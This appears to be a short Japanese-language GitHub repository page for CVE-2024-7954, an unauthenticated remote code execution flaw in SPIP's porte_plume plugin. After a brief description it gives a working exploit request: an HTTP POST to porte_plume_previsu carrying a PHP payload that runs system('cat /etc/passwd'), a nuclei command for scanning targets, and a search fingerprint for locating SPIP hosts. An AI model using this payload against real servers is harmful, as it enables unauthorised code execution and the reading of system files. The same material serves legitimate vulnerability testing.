gh-ost00/cve-2024-7954-rceSPIP バージョン 4.2.12 以前における未認証のリモートコード実行
SPIP 4.30-alpha2、4.2.13、4.1.16より前のバージョンで使用されるporte_plumeプラグインには、任意のコード実行の脆弱性があります。リモートかつ認証されていない攻撃者は、細工されたHTTPリクエストを送信することにより、SPIPユーザーとして任意のPHPコードを実行できます。
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
nuclei --target {host.com} -t CVE-2024-7954.yaml
app="SPIP"